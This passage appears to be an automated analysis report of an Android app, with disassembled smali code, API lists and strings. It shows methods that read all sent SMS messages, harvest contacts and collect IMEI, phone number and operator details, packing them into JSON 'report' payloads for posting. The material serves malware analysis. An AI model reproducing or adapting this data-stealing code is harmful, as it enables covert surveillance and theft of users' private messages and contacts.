                                      165move-result v3
                                      166if-nez v3, :cond_77
                                      167goto/16 :goto_63
                                      168catch_e2: move-exception v8
                                      170invoke-virtual {v8}, Ljava/lang/Exception;->printStackTrace()V
                                      171goto/16 :goto_ba
                                      Cross References
                                      APIs
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.put
                                      • com.aviasalea.Realtalk.getPsuedoID
                                      • org.json.JSONObject.put
                                      • android.content.Context.getContentResolver
                                      • android.net.Uri.parse
                                      • android.content.ContentResolver.query
                                      • org.json.JSONArray.<init>
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.moveToFirst
                                      • android.database.Cursor.close
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.<init>
                                      • android.database.Cursor.getString
                                      • org.json.JSONObject.put
                                      • android.database.Cursor.getString
                                      • org.json.JSONObject.put
                                      • android.database.Cursor.getString
                                      • org.json.JSONObject.put
                                      • android.database.Cursor.getLong
                                      • android.content.Context.getString
                                      • org.json.JSONObject.put
                                      • org.json.JSONArray.put
                                      • android.database.Cursor.moveToNext
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • report
                                      • fullsms_sent
                                      • id
                                      • content://sms/sent
                                      • thread_id
                                      • body
                                      • address
                                      • date
                                      • objects
                                      • 1
                                      • number
                                      • message
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7new-instance v14, Lorg/json/JSONObject;
                                      9invoke-direct {v14}, Lorg/json/JSONObject;-><init>()V
                                      10new-instance v15, Lorg/json/JSONObject;
                                      12invoke-direct {v15}, Lorg/json/JSONObject;-><init>()V
                                      14const-string v3, "report"
                                      16const-string v4, "fullsms_sent"
                                      18invoke-virtual {v14, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      20const-string v3, "id"
                                      22invoke-static/range {p1 .. p1}, Lcom/aviasalea/Realtalk;->getPsuedoID(Landroid/content/Context;)Ljava/lang/String;
                                      23move-result-object v4
                                      25invoke-virtual {v14, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      27invoke-virtual/range {p1 .. p1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                      28move-result-object v2
                                      30const-string v3, "content://sms/sent"
                                      32invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                      33move-result-object v3
                                      34const/4 v4, 0x0
                                      35const/4 v5, 0x0
                                      36const/4 v6, 0x0
                                      37const/4 v7, 0x0
                                      39invoke-virtual/range {v2 .. v7}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                      40move-result-object v18
                                      41new-instance v13, Lorg/json/JSONArray;
                                      43invoke-direct {v13}, Lorg/json/JSONArray;-><init>()V
                                      44if-eqz v18, :cond_5e
                                      46const-string v3, "thread_id"
                                      47move-object/from16 v0, v18
                                      49invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      50move-result v19
                                      52const-string v3, "body"
                                      53move-object/from16 v0, v18
                                      55invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      56move-result v11
                                      58const-string v3, "address"
                                      59move-object/from16 v0, v18
                                      61invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      62move-result v10
                                      64const-string v3, "date"
                                      65move-object/from16 v0, v18
                                      67invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      68move-result v12
                                      69if-ltz v11, :cond_5b
                                      71invoke-interface/range {v18 .. v18}, Landroid/database/Cursor;->moveToFirst()Z
                                      72move-result v3
                                      73if-nez v3, :cond_6d
                                      74goto_5b:
                                      75invoke-interface/range {v18 .. v18}, Landroid/database/Cursor;->close()V
                                      76cond_5e:
                                      77const-string v3, "objects"
                                      79invoke-virtual {v14, v3, v13}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      81const-string v3, "1"
                                      83invoke-virtual {v15, v3, v14}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      85invoke-static {v15}, Lcom/aviasalea/api/tls/TxtTls;->getPostParamsUTF8(Lorg/json/JSONObject;)Ljava/lang/String;
                                      86move-result-object v3
                                      87return-object v3
                                      88cond_6d: new-instance v16, Lorg/json/JSONObject;
                                      90invoke-direct/range {v16 .. v16}, Lorg/json/JSONObject;-><init>()V
                                      92const-string v3, "thread_id"
                                      94invoke-interface/range {v18 .. v19}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                      95move-result-object v4
                                      96move-object/from16 v0, v16
                                      98invoke-virtual {v0, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      100const-string v3, "number"
                                      101move-object/from16 v0, v18
                                      103invoke-interface {v0, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                      104move-result-object v4
                                      105move-object/from16 v0, v16
                                      107invoke-virtual {v0, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      109const-string v3, "message"
                                      110move-object/from16 v0, v18
                                      112invoke-interface {v0, v11}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                      113move-result-object v4
                                      114move-object/from16 v0, v16
                                      116invoke-virtual {v0, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      118const-string v17, ""
                                      119try_start_99: move-object/from16 v0, v18
                                      121invoke-interface {v0, v12}, Landroid/database/Cursor;->getLong(I)J
                                      122move-result-wide v20
                                      124invoke-static/range {v20 .. v21}, Lcom/aviasalea/checktls/DtTls;->getDate(J)Ljava/util/Date;
                                      125move-result-object v9
                                      126const v3, 0x7f0a0014
                                      127move-object/from16 v0, p1
                                      129invoke-virtual {v0, v3}, Landroid/content/Context;->getString(I)Ljava/lang/String;
                                      130move-result-object v3
                                      132invoke-static {v9, v3}, Lcom/aviasalea/checktls/DtTls;->getCurrentDate(Ljava/util/Date;Ljava/lang/String;)Ljava/lang/String;
                                      133try_end_af: move-result-object v17
                                      134goto_b0:
                                      135const-string v3, "date"
                                      136move-object/from16 v0, v16
                                      137move-object/from16 v1, v17
                                      139invoke-virtual {v0, v3, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      140move-object/from16 v0, v16
                                      142invoke-virtual {v13, v0}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                                      144invoke-interface/range {v18 .. v18}, Landroid/database/Cursor;->moveToNext()Z
                                      145move-result v3
                                      146if-nez v3, :cond_6d
                                      147goto/16 :goto_5b
                                      148catch_c5: move-exception v8
                                      150invoke-virtual {v8}, Ljava/lang/Exception;->printStackTrace()V
                                      151goto/16 :goto_b0
                                      Cross References
                                      APIs
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.put
                                      • com.aviasalea.Realtalk.getPsuedoID
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • org.json.JSONObject.put
                                      • java.util.Locale.getDefault
                                      • java.util.Locale.getCountry
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      Strings
                                      • report
                                      • info
                                      • id
                                      • IMEI
                                      • number
                                      • version
                                      • country
                                      • operator
                                      • model
                                      • root
                                      • prefix
                                      • version_sdk
                                      • version_apk
                                      • 1
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7new-instance v0, Lorg/json/JSONObject;
                                      9invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                      10new-instance v1, Lorg/json/JSONObject;
                                      12invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                      14const-string v2, "report"
                                      16const-string v3, "info"
                                      18invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      20const-string v2, "id"
                                      22invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPsuedoID(Landroid/content/Context;)Ljava/lang/String;
                                      23move-result-object v3
                                      25invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      27const-string v2, "IMEI"
                                      29invoke-static {p1}, Lcom/aviasalea/checktls/CmndTls;->getPhoneIMEINumber(Landroid/content/Context;)Ljava/lang/String;
                                      30move-result-object v3
                                      32invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      34const-string v2, "number"
                                      36invoke-static {p1}, Lcom/aviasalea/checktls/CmndTls;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String;
                                      37move-result-object v3
                                      39invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      41const-string v2, "version"
                                      42new-instance v3, Ljava/lang/StringBuilder;
                                      44invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      45sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                                      47invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      48move-result-object v3
                                      50const-string v4, ""
                                      52invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      53move-result-object v3
                                      55invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      56move-result-object v3
                                      58invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      60const-string v2, "country"
                                      62invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale;
                                      63move-result-object v3
                                      65invoke-virtual {v3}, Ljava/util/Locale;->getCountry()Ljava/lang/String;
                                      66move-result-object v3
                                      68invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      70const-string v2, "operator"
                                      72invoke-static {p1}, Lcom/aviasalea/checktls/CmndTls;->getPhoneOperator(Landroid/content/Context;)Ljava/lang/String;
                                      73move-result-object v3
                                      75invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      77const-string v2, "model"
                                      79invoke-static {}, Lcom/aviasalea/checktls/CmndTls;->getDeviceName()Ljava/lang/String;
                                      80move-result-object v3
                                      82invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      84const-string v2, "root"
                                      85new-instance v3, Ljava/lang/StringBuilder;
                                      87invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      89invoke-static {}, Lcom/aviasalea/checktls/CmndTls;->isRooted()Z
                                      90move-result v4
                                      92invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                                      93move-result-object v3
                                      95const-string v4, ""
                                      97invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      98move-result-object v3
                                      100invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      101move-result-object v3
                                      103invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      105const-string v2, "prefix"
                                      107const-string v3, ""
                                      109invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      111const-string v2, "version_sdk"
                                      113const-string v3, ""
                                      115invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      117const-string v2, "version_apk"
                                      119const-string v3, ""
                                      121invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      123const-string v2, "1"
                                      125invoke-virtual {v1, v2, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      127invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->getPostParamsUTF8(Lorg/json/JSONObject;)Ljava/lang/String;
                                      128move-result-object v2
                                      129return-object v2
                                      Cross References
                                      APIs
                                      • java.util.ArrayList.<init>
                                      • android.content.Context.getContentResolver
                                      • android.provider.ContactsContract$Contacts.CONTENT_URI:Landroid/net/Uri
                                      • com.aviasalea.checktls.CntctsTls.PROJECTION:[Ljava/lang/String
                                      • com.aviasalea.checktls.CntctsTls.ORDER:Ljava/lang/String
                                      • android.content.ContentResolver.query
                                      • android.database.Cursor.moveToFirst
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getString
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getString
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getInt
                                      • java.lang.Integer.valueOf
                                      • android.provider.ContactsContract$CommonDataKinds$Email.CONTENT_URI:Landroid/net/Uri
                                      • android.content.ContentResolver.query
                                      • android.database.Cursor.moveToFirst
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getString
                                      • android.database.Cursor.close
                                      • java.lang.Integer.intValue
                                      • android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI:Landroid/net/Uri
                                      • android.content.ContentResolver.query
                                      • android.database.Cursor.moveToFirst
                                      • android.database.Cursor.getColumnIndex
                                      • android.database.Cursor.getString
                                      • android.database.Cursor.close
                                      • android.text.TextUtils.isEmpty
                                      • android.util.Patterns.EMAIL_ADDRESS:Ljava/util/regex/Pattern
                                      • java.util.regex.Pattern.matcher
                                      • java.util.regex.Matcher.matches
                                      • java.lang.String.equalsIgnoreCase
                                      • android.text.TextUtils.isEmpty
                                      • java.util.ArrayList.add
                                      • android.database.Cursor.moveToNext
                                      • android.database.Cursor.close
                                      • com.aviasalea.checktls.CntctsTls.getFilterContacts
                                      • java.lang.Exception.toString
                                      Strings
                                      • display_name NOT LIKE \'%@%\'
                                      • _id
                                      • display_name
                                      • has_phone_number
                                      • contact_id = ?
                                      • data1
                                      Position Instruction Meta Information
                                      0.param p1, "contexts" # [Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"([",
                                      4"Landroid/content/Context;",
                                      5")",
                                      6"Ljava/util/List",
                                      7"<",
                                      8"Lcom/aviasalea/cntcts/Contact;",
                                      9">;"
                                      10}
                                      11.end annotation
                                      12.prologue
                                      13new-instance v9, Ljava/util/ArrayList;
                                      15invoke-direct {v9}, Ljava/util/ArrayList;-><init>()V
                                      16const/4 v2, 0x0
                                      17try_start_6: aget-object v2, p1, v2
                                      19invoke-virtual {v2}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                      20move-result-object v1
                                      22sget-object v2, Landroid/provider/ContactsContract$Contacts;->CONTENT_URI:Landroid/net/Uri;
                                      23move-object/from16 v0, p0
                                      25iget-object v3, v0, Lcom/aviasalea/checktls/CntctsTls;->PROJECTION:[Ljava/lang/String;
                                      27const-string v4, "display_name NOT LIKE \'%@%\'"
                                      28const/4 v5, 0x0
                                      29move-object/from16 v0, p0
                                      31iget-object v6, v0, Lcom/aviasalea/checktls/CntctsTls;->ORDER:Ljava/lang/String;
                                      33invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                      34move-result-object v11
                                      35if-eqz v11, :cond_d5
                                      37invoke-interface {v11}, Landroid/database/Cursor;->moveToFirst()Z
                                      38move-result v2
                                      39if-eqz v2, :cond_d5
                                      40cond_25:
                                      41const-string v2, "_id"
                                      43invoke-interface {v11, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      44move-result v2
                                      46invoke-interface {v11, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                      47move-result-object v15
                                      49const-string v2, "display_name"
                                      51invoke-interface {v11, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      52move-result v2
                                      54invoke-interface {v11, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                      55move-result-object v16
                                      57const-string v2, "has_phone_number"
                                      59invoke-interface {v11, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      60move-result v2
                                      62invoke-interface {v11, v2}, Landroid/database/Cursor;->getInt(I)I
                                      63move-result v2
                                      65invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                      66move-result-object v14
                                      67const/4 v12, 0x0
                                      69sget-object v2, Landroid/provider/ContactsContract$CommonDataKinds$Email;->CONTENT_URI:Landroid/net/Uri;
                                      70const/4 v3, 0x0
                                      72const-string v4, "contact_id = ?"
                                      73const/4 v5, 0x1
                                      74new-array v5, v5, [Ljava/lang/String;
                                      75const/4 v6, 0x0
                                      76aput-object v15, v5, v6
                                      77const/4 v6, 0x0
                                      79invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                      80move-result-object v7
                                      81if-eqz v7, :cond_6d
                                      83invoke-interface {v7}, Landroid/database/Cursor;->moveToFirst()Z
                                      84move-result v2
                                      85if-eqz v2, :cond_6d
                                      87const-string v2, "data1"
                                      89invoke-interface {v7, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      90move-result v2
                                      92invoke-interface {v7, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                      93move-result-object v12
                                      95invoke-interface {v7}, Landroid/database/Cursor;->close()V
                                      96cond_6d: const/16 v17, 0x0
                                      98invoke-virtual {v14}, Ljava/lang/Integer;->intValue()I
                                      99move-result v2
                                      100if-lez v2, :cond_9a
                                      102sget-object v2, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
                                      103const/4 v3, 0x0
                                      105const-string v4, "contact_id = ?"
                                      106const/4 v5, 0x1
                                      107new-array v5, v5, [Ljava/lang/String;
                                      108const/4 v6, 0x0
                                      109aput-object v15, v5, v6
                                      110const/4 v6, 0x0
                                      112invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                      113move-result-object v10
                                      114if-eqz v10, :cond_9a
                                      116invoke-interface {v10}, Landroid/database/Cursor;->moveToFirst()Z
                                      117move-result v2
                                      118if-eqz v2, :cond_9a
                                      120const-string v2, "data1"
                                      122invoke-interface {v10, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                      123move-result v2
                                      125invoke-interface {v10, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                      126move-result-object v17
                                      128invoke-interface {v10}, Landroid/database/Cursor;->close()V
                                      129cond_9a:
                                      130invoke-static {v12}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                      131move-result v2
                                      132if-nez v2, :cond_b4
                                      134sget-object v2, Landroid/util/Patterns;->EMAIL_ADDRESS:Ljava/util/regex/Pattern;
                                      136invoke-virtual {v2, v12}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
                                      137move-result-object v2
                                      139invoke-virtual {v2}, Ljava/util/regex/Matcher;->matches()Z
                                      140move-result v2
                                      141if-eqz v2, :cond_b4
                                      142move-object/from16 v0, v16
                                      144invoke-virtual {v12, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      145move-result v2
                                      146if-eqz v2, :cond_ba
                                      147cond_b4:
                                      148invoke-static/range {v17 .. v17}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                      149move-result v2
                                      150if-nez v2, :cond_cc
                                      151cond_ba: new-instance v8, Lcom/aviasalea/cntcts/Contact;
                                      153invoke-direct {v8}, Lcom/aviasalea/cntcts/Contact;-><init>()V
                                      154move-object/from16 v0, v16
                                      155iput-object v0, v8, Lcom/aviasalea/cntcts/Contact;->name:Ljava/lang/String;
                                      156iput-object v12, v8, Lcom/aviasalea/cntcts/Contact;->email:Ljava/lang/String;
                                      157move-object/from16 v0, v17
                                      158iput-object v0, v8, Lcom/aviasalea/cntcts/Contact;->phoneNumber:Ljava/lang/String;
                                      160invoke-virtual {v9, v8}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                      161cond_cc:
                                      162invoke-interface {v11}, Landroid/database/Cursor;->moveToNext()Z
                                      163move-result v2
                                      164if-nez v2, :cond_25
                                      166invoke-interface {v11}, Landroid/database/Cursor;->close()V
                                      167goto_d5: move-object/from16 v0, p0
                                      169invoke-direct {v0, v9}, Lcom/aviasalea/checktls/CntctsTls;->getFilterContacts(Ljava/util/List;)Ljava/util/List;
                                      170move-result-object v2
                                      171return-object v2
                                      172catch_dc: move-exception v13
                                      174invoke-virtual {v13}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      175move-result-object v2
                                      177invoke-static {v2}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      178goto/16 :goto_d5
                                      APIs
                                      • android.content.Context.getPackageManager
                                      • android.content.Context.getPackageName
                                      • android.content.pm.PackageManager.getPackageInfo
                                      • android.content.pm.PackageInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                                      • android.content.pm.ApplicationInfo.processName:Ljava/lang/String
                                      • android.content.ComponentName.<init>
                                      • android.content.pm.PackageManager.getServiceInfo
                                      • android.content.pm.ServiceInfo.processName:Ljava/lang/String
                                      • java.lang.String.equals
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • android.content.Context.getPackageName
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.os.Process.myPid
                                      • android.content.Context.getSystemService
                                      • android.app.ActivityManager.getRunningAppProcesses
                                      • java.util.List.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.app.ActivityManager$RunningAppProcessInfo.processName:Ljava/lang/String
                                      • android.content.pm.ServiceInfo.processName:Ljava/lang/String
                                      • java.lang.String.equals
                                      Strings
                                      • Did not expect service
                                      • to run in main process
                                      • Could not get package info for
                                      • activity
                                      • Could not find running process for
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Landroid/content/Context;",
                                      5"Ljava/lang/Class",
                                      6"<+",
                                      7"Landroid/app/Service;",
                                      8">;)Z"
                                      9}
                                      10.end annotation
                                      11.prologue
                                      13invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                      14move-result-object v8
                                      15try_start_4:
                                      16invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                      17move-result-object v12
                                      18const/4 v13, 0x4
                                      20invoke-virtual {v8, v12, v13}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
                                      21try_end_c: move-result-object v7
                                      23iget-object v12, v7, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                                      25iget-object v4, v12, Landroid/content/pm/ApplicationInfo;->processName:Ljava/lang/String;
                                      26new-instance v1, Landroid/content/ComponentName;
                                      28invoke-direct {v1, p0, p1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      29const/4 v12, 0x0
                                      30try_start_17:
                                      31invoke-virtual {v8, v1, v12}, Landroid/content/pm/PackageManager;->getServiceInfo(Landroid/content/ComponentName;I)Landroid/content/pm/ServiceInfo;
                                      32try_end_1a: move-result-object v11
                                      34iget-object v12, v11, Landroid/content/pm/ServiceInfo;->processName:Ljava/lang/String;
                                      36invoke-virtual {v12, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      37move-result v12
                                      38if-eqz v12, :cond_65
                                      39new-instance v12, Ljava/lang/StringBuilder;
                                      41invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
                                      43const-string v13, "Did not expect service "
                                      45invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      46move-result-object v12
                                      48invoke-virtual {v12, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      49move-result-object v12
                                      51const-string v13, " to run in main process "
                                      53invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      54move-result-object v12
                                      56invoke-virtual {v12, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      57move-result-object v12
                                      59invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      60move-result-object v12
                                      62invoke-static {v12}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      63const/4 v12, 0x0
                                      64goto_44: return v12
                                      65catch_45: move-exception v2
                                      66new-instance v12, Ljava/lang/StringBuilder;
                                      68invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
                                      70const-string v13, "Could not get package info for "
                                      72invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      73move-result-object v12
                                      75invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                      76move-result-object v13
                                      78invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      79move-result-object v12
                                      81invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      82move-result-object v12
                                      84invoke-static {v12}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      85const/4 v12, 0x0
                                      86goto/16 :goto_44
                                      87catch_62: move-exception v3
                                      88const/4 v12, 0x0
                                      89goto/16 :goto_44
                                      90cond_65:
                                      91invoke-static {}, Landroid/os/Process;->myPid()I
                                      92move-result v5
                                      94const-string v12, "activity"
                                      96invoke-virtual {p0, v12}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      97move-result-object v0
                                      98check-cast v0, Landroid/app/ActivityManager;
                                      99if-nez v0, :cond_75
                                      100const/4 v12, 0x0
                                      101goto/16 :goto_44
                                      102cond_75: const/4 v6, 0x0
                                      104invoke-virtual {v0}, Landroid/app/ActivityManager;->getRunningAppProcesses()Ljava/util/List;
                                      105move-result-object v10
                                      106if-eqz v10, :cond_91
                                      108invoke-interface {v10}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                      109move-result-object v12
                                      110cond_80:
                                      111invoke-interface {v12}, Ljava/util/Iterator;->hasNext()Z
                                      112move-result v13
                                      113if-eqz v13, :cond_91
                                      115invoke-interface {v12}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      116move-result-object v9
                                      117check-cast v9, Landroid/app/ActivityManager$RunningAppProcessInfo;
                                      118iget v13, v9, Landroid/app/ActivityManager$RunningAppProcessInfo;->pid:I
                                      119if-ne v13, v5, :cond_80
                                      120move-object v6, v9
                                      121cond_91: if-nez v6, :cond_ab
                                      122new-instance v12, Ljava/lang/StringBuilder;
                                      124invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
